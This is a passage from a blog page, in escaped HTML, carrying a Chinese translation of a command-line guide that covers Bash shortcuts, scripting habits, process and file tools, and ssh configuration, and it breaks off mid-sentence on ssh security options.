href=\"https://xeonds.github.io/CONTRIBUTING.md\"\u003e\u003cstrong\u003e贡献你的一份力量\u003c/strong\u003e\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E5%89%8D%E8%A8%80\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cp\u003e涵盖范围:\u003c/p\u003e\u003cul\u003e\u003cli\u003e这篇文章不仅能帮助刚接触命令行的新手,而且对具有经验的人也大有裨益。本文致力于做到\u003cem\u003e覆盖面广\u003c/em\u003e(涉及所有重要的内容),\u003cem\u003e具体\u003c/em\u003e(给出具体的最常用的例子),以及\u003cem\u003e简洁\u003c/em\u003e(避免冗余的内容,或是可以在其他地方轻松查到的细枝末节)。在特定应用场景下,本文的内容属于基本功或者能帮助您节约大量的时间。\u003c/li\u003e\u003cli\u003e本文主要为 Linux 所写,但在\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E4%BB%85%E9%99%90-os-x-%E7%B3%BB%E7%BB%9F\"\u003e仅限 OS X 系统\u003c/a\u003e章节和\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E4%BB%85%E9%99%90-windows-%E7%B3%BB%E7%BB%9F\"\u003e仅限 Windows 系统\u003c/a\u003e章节中也包含有对应操作系统的内容。除去这两个章节外,其它的内容大部分均可在其他类 Unix 系统或 OS X,甚至 Cygwin 中得到应用。\u003c/li\u003e\u003cli\u003e本文主要关注于交互式 Bash,但也有很多技巧可以应用于其他 shell 和 Bash 脚本当中。\u003c/li\u003e\u003cli\u003e除去“标准的”Unix 命令,本文还包括了一些依赖于特定软件包的命令(前提是它们具有足够的价值)。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e注意事项:\u003c/p\u003e\u003cul\u003e\u003cli\u003e为了能在一页内展示尽量多的东西,一些具体的信息可以在引用的页面中找到。我们相信机智的你知道如何使用 Google 或者其他搜索引擎来查阅到更多的详细信息。文中部分命令需要您使用 \u003ccode\u003eapt-get\u003c/code\u003e,\u003ccode\u003eyum\u003c/code\u003e,\u003ccode\u003ednf\u003c/code\u003e,\u003ccode\u003epacman\u003c/code\u003e,\u003cbr/\u003e\u003ccode\u003epip\u003c/code\u003e 或 \u003ccode\u003ebrew\u003c/code\u003e(以及其它合适的包管理器)来安装依赖的程序。\u003c/li\u003e\u003cli\u003e遇到问题的话,请尝试使用 \u003ca href=\"http://explainshell.com/\"\u003eExplainshell\u003c/a\u003e 去获取相关命令、参数、管道等内容的解释。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"基础\"\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E5%9F%BA%E7%A1%80\" class=\"headerlink\" title=\"基础\"\u003e\u003c/a\u003e基础\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e学习 Bash 的基础知识。具体地,在命令行中输入 \u003ccode\u003eman bash\u003c/code\u003e 并至少全文浏览一遍; 它理解起来很简单并且不冗长。其他的 shell 可能很好用,但 Bash 的功能已经足够强大并且到几乎总是可用的( 如果你\u003cem\u003e只\u003c/em\u003e学习 zsh,fish 或其他的 shell 的话,在你自己的设备上会显得很方便,但过度依赖这些功能会给您带来不便,例如当你需要在服务器上工作时)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e熟悉至少一个基于文本的编辑器。通常而言 Vim (\u003ccode\u003evi\u003c/code\u003e) 会是你最好的选择,毕竟在终端中编辑文本时 Vim 是最好用的工具(甚至大部分情况下 Vim 要比 Emacs、大型 IDE 或是炫酷的编辑器更好用)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e学会如何使用 \u003ccode\u003eman\u003c/code\u003e 命令去阅读文档。学会使用 \u003ccode\u003eapropos\u003c/code\u003e 去查找文档。知道有些命令并不对应可执行文件,而是在 Bash 内置好的,此时可以使用 \u003ccode\u003ehelp\u003c/code\u003e 和 \u003ccode\u003ehelp -d\u003c/code\u003e 命令获取帮助信息。你可以用 \u003ccode\u003etype 命令\u003c/code\u003e 来判断这个命令到底是可执行文件、shell 内置命令还是别名。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e学会使用 \u003ccode\u003e\u0026gt;\u003c/code\u003e 和 \u003ccode\u003e\u0026lt;\u003c/code\u003e 来重定向输出和输入,学会使用 \u003ccode\u003e|\u003c/code\u003e 来重定向管道。明白 \u003ccode\u003e\u0026gt;\u003c/code\u003e 会覆盖了输出文件而 \u003ccode\u003e\u0026gt;\u0026gt;\u003c/code\u003e 是在文件末添加。了解标准输出 stdout 和标准错误 stderr。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e学会使用通配符 \u003ccode\u003e*\u003c/code\u003e (或许再算上 \u003ccode\u003e?\u003c/code\u003e 和 \u003ccode\u003e[\u003c/code\u003e…\u003ccode\u003e]\u003c/code\u003e) 和引用以及引用中 \u003ccode\u003e\u0026#39;\u003c/code\u003e 和 \u003ccode\u003e\u0026#34;\u003c/code\u003e 的区别(后文中有一些具体的例子)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e熟悉 Bash 中的任务管理工具:\u003ccode\u003e\u0026amp;\u003c/code\u003e,\u003cstrong\u003ectrl-z\u003c/strong\u003e,\u003cstrong\u003ectrl-c\u003c/strong\u003e,\u003ccode\u003ejobs\u003c/code\u003e,\u003ccode\u003efg\u003c/code\u003e,\u003ccode\u003ebg\u003c/code\u003e,\u003ccode\u003ekill\u003c/code\u003e 等。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e学会使用 \u003ccode\u003essh\u003c/code\u003e 进行远程命令行登录,最好知道如何使用 \u003ccode\u003essh-agent\u003c/code\u003e,\u003ccode\u003essh-add\u003c/code\u003e 等命令来实现基础的无密码认证登录。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e学会基本的文件管理工具:\u003ccode\u003els\u003c/code\u003e 和 \u003ccode\u003els -l\u003c/code\u003e (了解 \u003ccode\u003els -l\u003c/code\u003e 中每一列代表的意义),\u003ccode\u003eless\u003c/code\u003e,\u003ccode\u003ehead\u003c/code\u003e,\u003ccode\u003etail\u003c/code\u003e 和 \u003ccode\u003etail -f\u003c/code\u003e (甚至 \u003ccode\u003eless +F\u003c/code\u003e),\u003ccode\u003eln\u003c/code\u003e 和 \u003ccode\u003eln -s\u003c/code\u003e (了解硬链接与软链接的区别),\u003ccode\u003echown\u003c/code\u003e,\u003ccode\u003echmod\u003c/code\u003e,\u003ccode\u003edu\u003c/code\u003e (硬盘使用情况概述:\u003ccode\u003edu -hs *\u003c/code\u003e)。 关于文件系统的管理,学习 \u003ccode\u003edf\u003c/code\u003e,\u003ccode\u003emount\u003c/code\u003e,\u003ccode\u003efdisk\u003c/code\u003e,\u003ccode\u003emkfs\u003c/code\u003e,\u003ccode\u003elsblk\u003c/code\u003e。知道 inode 是什么(与 \u003ccode\u003els -i\u003c/code\u003e 和 \u003ccode\u003edf -i\u003c/code\u003e 等命令相关)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e学习基本的网络管理工具:\u003ccode\u003eip\u003c/code\u003e 或 \u003ccode\u003eifconfig\u003c/code\u003e,\u003ccode\u003edig\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e学习并使用一种版本控制管理系统,例如 \u003ccode\u003egit\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e熟悉正则表达式,学会使用 \u003ccode\u003egrep\u003c/code\u003e/\u003ccode\u003eegrep\u003c/code\u003e,它们的参数中 \u003ccode\u003e-i\u003c/code\u003e,\u003ccode\u003e-o\u003c/code\u003e,\u003ccode\u003e-v\u003c/code\u003e,\u003ccode\u003e-A\u003c/code\u003e,\u003ccode\u003e-B\u003c/code\u003e 和 \u003ccode\u003e-C\u003c/code\u003e 这些是很常用并值得认真学习的。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e学会使用 \u003ccode\u003eapt-get\u003c/code\u003e,\u003ccode\u003eyum\u003c/code\u003e,\u003ccode\u003ednf\u003c/code\u003e 或 \u003ccode\u003epacman\u003c/code\u003e (具体使用哪个取决于你使用的 Linux 发行版)来查找和安装软件包。并确保你的环境中有 \u003ccode\u003epip\u003c/code\u003e 来安装基于 Python 的命令行工具 (接下来提到的部分程序使用 \u003ccode\u003epip\u003c/code\u003e 来安装会很方便)。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"日常使用\"\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E6%97%A5%E5%B8%B8%E4%BD%BF%E7%94%A8\" class=\"headerlink\" title=\"日常使用\"\u003e\u003c/a\u003e日常使用\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e在 Bash 中,可以通过按 \u003cstrong\u003eTab\u003c/strong\u003e 键实现自动补全参数,使用 \u003cstrong\u003ectrl-r\u003c/strong\u003e 搜索命令行历史记录(按下按键之后,输入关键字便可以搜索,重复按下 \u003cstrong\u003ectrl-r\u003c/strong\u003e 会向后查找匹配项,按下 \u003cstrong\u003eEnter\u003c/strong\u003e 键会执行当前匹配的命令,而按下右方向键会将匹配项放入当前行中,不会直接执行,以便做出修改)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e在 Bash 中,可以按下 \u003cstrong\u003ectrl-w\u003c/strong\u003e 删除你键入的最后一个单词,\u003cstrong\u003ectrl-u\u003c/strong\u003e 可以删除行内光标所在位置之前的内容,\u003cstrong\u003ealt-b\u003c/strong\u003e 和 \u003cstrong\u003ealt-f\u003c/strong\u003e 可以以单词为单位移动光标,\u003cstrong\u003ectrl-a\u003c/strong\u003e 可以将光标移至行首,\u003cstrong\u003ectrl-e\u003c/strong\u003e 可以将光标移至行尾,\u003cstrong\u003ectrl-k\u003c/strong\u003e 可以删除光标至行尾的所有内容,\u003cstrong\u003ectrl-l\u003c/strong\u003e 可以清屏。键入 \u003ccode\u003eman readline\u003c/code\u003e 可以查看 Bash 中的默认快捷键。内容有很多,例如 \u003cstrong\u003ealt-.\u003c/strong\u003e 循环地移向前一个参数,而 \u003cstrong\u003ealt-\u003c/strong\u003e* 可以展开通配符。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e你喜欢的话,可以执行 \u003ccode\u003eset -o vi\u003c/code\u003e 来使用 vi 风格的快捷键,而执行 \u003ccode\u003eset -o emacs\u003c/code\u003e 可以把它改回来。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e为了便于编辑长命令,在设置你的默认编辑器后(例如 \u003ccode\u003eexport EDITOR=vim\u003c/code\u003e),\u003cstrong\u003ectrl-x\u003c/strong\u003e \u003cstrong\u003ectrl-e\u003c/strong\u003e 会打开一个编辑器来编辑当前输入的命令。在 vi 风格下快捷键则是 \u003cstrong\u003eescape-v\u003c/strong\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e键入 \u003ccode\u003ehistory\u003c/code\u003e 查看命令行历史记录,再用 \u003ccode\u003e!n\u003c/code\u003e(\u003ccode\u003en\u003c/code\u003e 是命令编号)就可以再次执行。其中有许多缩写,最有用的大概就是 \u003ccode\u003e!$\u003c/code\u003e, 它用于指代上次键入的参数,而 \u003ccode\u003e!!\u003c/code\u003e 可以指代上次键入的命令了(参考 man 页面中的“HISTORY EXPANSION”)。不过这些功能,你也可以通过快捷键 \u003cstrong\u003ectrl-r\u003c/strong\u003e 和 \u003cstrong\u003ealt-.\u003c/strong\u003e 来实现。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ecd\u003c/code\u003e 命令可以切换工作路径,输入 \u003ccode\u003ecd ~\u003c/code\u003e 可以进入 home 目录。要访问你的 home 目录中的文件,可以使用前缀 \u003ccode\u003e~\u003c/code\u003e(例如 \u003ccode\u003e~/.bashrc\u003c/code\u003e)。在 \u003ccode\u003esh\u003c/code\u003e 脚本里则用环境变量 \u003ccode\u003e$HOME\u003c/code\u003e 指代 home 目录的路径。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e回到前一个工作路径:\u003ccode\u003ecd -\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e如果你输入命令的时候中途改了主意,按下 \u003cstrong\u003ealt-#\u003c/strong\u003e 在行首添加 \u003ccode\u003e#\u003c/code\u003e 把它当做注释再按下回车执行(或者依次按下 \u003cstrong\u003ectrl-a\u003c/strong\u003e, **#**, \u003cstrong\u003eenter\u003c/strong\u003e)。这样做的话,之后借助命令行历史记录,你可以很方便恢复你刚才输入到一半的命令。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ccode\u003exargs\u003c/code\u003e ( 或 \u003ccode\u003eparallel\u003c/code\u003e)。他们非常给力。注意到你可以控制每行参数个数(\u003ccode\u003e-L\u003c/code\u003e)和最大并行数(\u003ccode\u003e-P\u003c/code\u003e)。如果你不确定它们是否会按你想的那样工作,先使用 \u003ccode\u003exargs echo\u003c/code\u003e 查看一下。此外,使用 \u003ccode\u003e-I{}\u003c/code\u003e 会很方便。例如:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efind . -name \u003cspan class=\"string\"\u003e\u0026#39;*.py\u0026#39;\u003c/span\u003e | xargs grep some_function\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e hosts | xargs -I{} ssh root@{} hostname\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003epstree -p\u003c/code\u003e 以一种优雅的方式展示进程树。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ccode\u003epgrep\u003c/code\u003e 和 \u003ccode\u003epkill\u003c/code\u003e 根据名字查找进程或发送信号(\u003ccode\u003e-f\u003c/code\u003e 参数通常有用)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e了解你可以发往进程的信号的种类。比如,使用 \u003ccode\u003ekill -STOP [pid]\u003c/code\u003e 停止一个进程。使用 \u003ccode\u003eman 7 signal\u003c/code\u003e 查看详细列表。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ccode\u003enohup\u003c/code\u003e 或 \u003ccode\u003edisown\u003c/code\u003e 使一个后台进程持续运行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ccode\u003enetstat -lntp\u003c/code\u003e 或 \u003ccode\u003ess -plat\u003c/code\u003e 检查哪些进程在监听端口(默认是检查 TCP 端口; 添加参数 \u003ccode\u003e-u\u003c/code\u003e 则检查 UDP 端口)或者 \u003ccode\u003elsof -iTCP -sTCP:LISTEN -P -n\u003c/code\u003e (这也可以在 OS X 上运行)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003elsof\u003c/code\u003e 来查看开启的套接字和文件。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ccode\u003euptime\u003c/code\u003e 或 \u003ccode\u003ew\u003c/code\u003e 来查看系统已经运行多长时间。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ccode\u003ealias\u003c/code\u003e 来创建常用命令的快捷形式。例如:\u003ccode\u003ealias ll=\u0026#39;ls -latr\u0026#39;\u003c/code\u003e 创建了一个新的命令别名 \u003ccode\u003ell\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e可以把别名、shell 选项和常用函数保存在 \u003ccode\u003e~/.bashrc\u003c/code\u003e,具体看下这篇\u003ca href=\"http://superuser.com/a/183980/7106\"\u003e文章\u003c/a\u003e。这样做的话你就可以在所有 shell 会话中使用你的设定。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e把环境变量的设定以及登陆时要执行的命令保存在 \u003ccode\u003e~/.bash_profile\u003c/code\u003e。而对于从图形界面启动的 shell 和 \u003ccode\u003ecron\u003c/code\u003e 启动的 shell,则需要单独配置文件。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e要想在几台电脑中同步你的配置文件(例如 \u003ccode\u003e.bashrc\u003c/code\u003e 和 \u003ccode\u003e.bash_profile\u003c/code\u003e),可以借助 Git。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e当变量和文件名中包含空格的时候要格外小心。Bash 变量要用引号括起来,比如 \u003ccode\u003e\u0026#34;$FOO\u0026#34;\u003c/code\u003e。尽量使用 \u003ccode\u003e-0\u003c/code\u003e 或 \u003ccode\u003e-print0\u003c/code\u003e 选项以便用 NULL 来分隔文件名,例如 \u003ccode\u003elocate -0 pattern | xargs -0 ls -al\u003c/code\u003e 或 \u003ccode\u003efind / -print0 -type d | xargs -0 ls -al\u003c/code\u003e。如果 for 循环中循环访问的文件名含有空字符(空格、tab 等字符),只需用 \u003ccode\u003eIFS=$\u0026#39;\\n\u0026#39;\u003c/code\u003e 把内部字段分隔符设为换行符。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e在 Bash 脚本中,使用 \u003ccode\u003eset -x\u003c/code\u003e 去调试输出(或者使用它的变体 \u003ccode\u003eset -v\u003c/code\u003e,它会记录原始输入,包括多余的参数和注释)。尽可能地使用严格模式:使用 \u003ccode\u003eset -e\u003c/code\u003e 令脚本在发生错误时退出而不是继续运行;使用 \u003ccode\u003eset -u\u003c/code\u003e 来检查是否使用了未赋值的变量;试试 \u003ccode\u003eset -o pipefail\u003c/code\u003e,它可以监测管道中的错误。当牵扯到很多脚本时,使用 \u003ccode\u003etrap\u003c/code\u003e 来检测 ERR 和 EXIT。一个好的习惯是在脚本文件开头这样写,这会使它能够检测一些错误,并在错误发生时中断程序并输出信息:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eset\u003c/span\u003e -euo pipefail\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003etrap\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;echo \u0026#39;error: Script failed: see failed command above\u0026#39;\u0026#34;\u003c/span\u003e ERR\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e在 Bash 脚本中,子 shell(使用括号 \u003ccode\u003e(...)\u003c/code\u003e)是一种组织参数的便捷方式。一个常见的例子是临时地移动工作路径,代码如下:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# do something in current dir\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e /some/other/dir \u0026amp;\u0026amp; other-command)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# continue in original dir\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e在 Bash 中,变量有许多的扩展方式。\u003ccode\u003e${name:?error message}\u003c/code\u003e 用于检查变量是否存在。此外,当 Bash 脚本只需要一个参数时,可以使用这样的代码 \u003ccode\u003einput_file=${1:?usage: $0 input_file}\u003c/code\u003e。在变量为空时使用默认值:\u003ccode\u003e${name:-default}\u003c/code\u003e。如果你要在之前的例子中再加一个(可选的)参数,可以使用类似这样的代码 \u003ccode\u003eoutput_file=${2:-logfile}\u003c/code\u003e,如果省略了 $2,它的值就为空,于是 \u003ccode\u003eoutput_file\u003c/code\u003e 就会被设为 \u003ccode\u003elogfile\u003c/code\u003e。数学表达式:\u003ccode\u003ei=$(( (i + 1) % 5 ))\u003c/code\u003e。序列:\u003ccode\u003e{1..10}\u003c/code\u003e。截断字符串:\u003ccode\u003e${var%suffix}\u003c/code\u003e 和 \u003ccode\u003e${var#prefix}\u003c/code\u003e。例如,假设 \u003ccode\u003evar=foo.pdf\u003c/code\u003e,那么 \u003ccode\u003eecho ${var%.pdf}.txt\u003c/code\u003e 将输出 \u003ccode\u003efoo.txt\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用括号扩展(\u003ccode\u003e{\u003c/code\u003e…\u003ccode\u003e}\u003c/code\u003e)来减少输入相似文本,并自动化文本组合。这在某些情况下会很有用,例如 \u003ccode\u003emv foo.{txt,pdf} some-dir\u003c/code\u003e(同时移动两个文件),\u003ccode\u003ecp somefile{,.bak}\u003c/code\u003e(会被扩展成 \u003ccode\u003ecp somefile somefile.bak\u003c/code\u003e)或者 \u003ccode\u003emkdir -p test-{a,b,c}/subtest-{1,2,3}\u003c/code\u003e(会被扩展成所有可能的组合,并创建一个目录树)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e通过使用 \u003ccode\u003e\u0026lt;(some command)\u003c/code\u003e 可以将输出视为文件。例如,对比本地文件 \u003ccode\u003e/etc/hosts\u003c/code\u003e 和一个远程文件:\u003c/p\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ediff /etc/hosts \u0026lt;(ssh somehost \u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e /etc/hosts)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e编写脚本时,你可能会想要把代码都放在大括号里。缺少右括号的话,代码就会因为语法错误而无法执行。如果你的脚本是要放在网上分享供他人使用的,这样的写法就体现出它的好处了,因为这样可以防止下载不完全代码被执行。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 在这里写代码\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e了解 Bash 中的“here documents”,例如 \u003ccode\u003ecat \u0026lt;\u0026lt;EOF ...\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e在 Bash 中,同时重定向标准输出和标准错误:\u003ccode\u003esome-command \u0026gt;logfile 2\u0026gt;\u0026amp;1\u003c/code\u003e 或者 \u003ccode\u003esome-command \u0026amp;\u0026gt;logfile\u003c/code\u003e。通常,为了保证命令不会在标准输入里残留一个未关闭的文件句柄捆绑在你当前所在的终端上,在命令后添加 \u003ccode\u003e\u0026lt;/dev/null\u003c/code\u003e 是一个好习惯。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ccode\u003eman ascii\u003c/code\u003e 查看具有十六进制和十进制值的ASCII表。\u003ccode\u003eman unicode\u003c/code\u003e,\u003ccode\u003eman utf-8\u003c/code\u003e,以及 \u003ccode\u003eman latin1\u003c/code\u003e 有助于你去了解通用的编码信息。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ccode\u003escreen\u003c/code\u003e 或 \u003ca href=\"https://tmux.github.io/\"\u003e\u003ccode\u003etmux\u003c/code\u003e\u003c/a\u003e 来使用多份屏幕,当你在使用 ssh 时(保存 session 信息)将尤为有用。而 \u003ccode\u003ebyobu\u003c/code\u003e 可以为它们提供更多的信息和易用的管理工具。另一个轻量级的 session 持久化解决方案是 \u003ca href=\"https://github.com/bogner/dtach\"\u003e\u003ccode\u003edtach\u003c/code\u003e\u003c/a\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003essh 中,了解如何使用 \u003ccode\u003e-L\u003c/code\u003e 或 \u003ccode\u003e-D\u003c/code\u003e(偶尔需要用 \u003ccode\u003e-R\u003c/code\u003e)开启隧道是非常有用的,比如当你需要从一台远程服务器上访问 web 页面。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e对 ssh 设置做一些小优化可能是很有用的,例如这个 \u003ccode\u003e~/.ssh/config\u003c/code\u003e 文件包含了防止特定网络环境下连接断开、压缩数据、多通道等选项:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eTCPKeepAlive=yes\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eServerAliveInterval=15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eServerAliveCountMax=6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eCompression=yes\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eControlMaster auto\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eControlPath /tmp/%r@%h:%p\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eControlPersist yes\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e一些其他的关于 ssh 的选项是与安全相关的,应当小心翼翼的使用。例如你应当只能在可信任的网络中启用 